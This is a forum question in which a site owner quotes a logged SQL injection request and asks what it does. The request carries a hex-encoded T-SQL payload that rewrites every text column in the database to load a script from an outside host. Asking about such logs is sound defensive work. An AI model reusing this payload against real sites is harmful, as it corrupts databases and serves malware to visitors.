title: Attempted SQL injection attack - what are they trying to do?
body: <p>I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks.  I exclusively use parameterised stored procedures so I believe that there has been no <em>successful</em> attacks, but a recent log showed an interesting technique:</p>
  
  <p><em>Line breaks added for clarity</em></p>
  
  <pre>
  http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
  @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
  686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
  5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
  626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
  6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
  20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
  653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
  46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
  404046455443485F5354415455533D302920424547494E20657865632827757064617465 
  205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
  736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
  7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
  6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
  6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
  73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
  2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
  4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
  7572736F72 AS CHAR(4000));EXEC(@S);&amp;_X="
  </pre>
  
  <p>Can anyone shed light on what the "CAST and EXEC" is attempting to do?</p>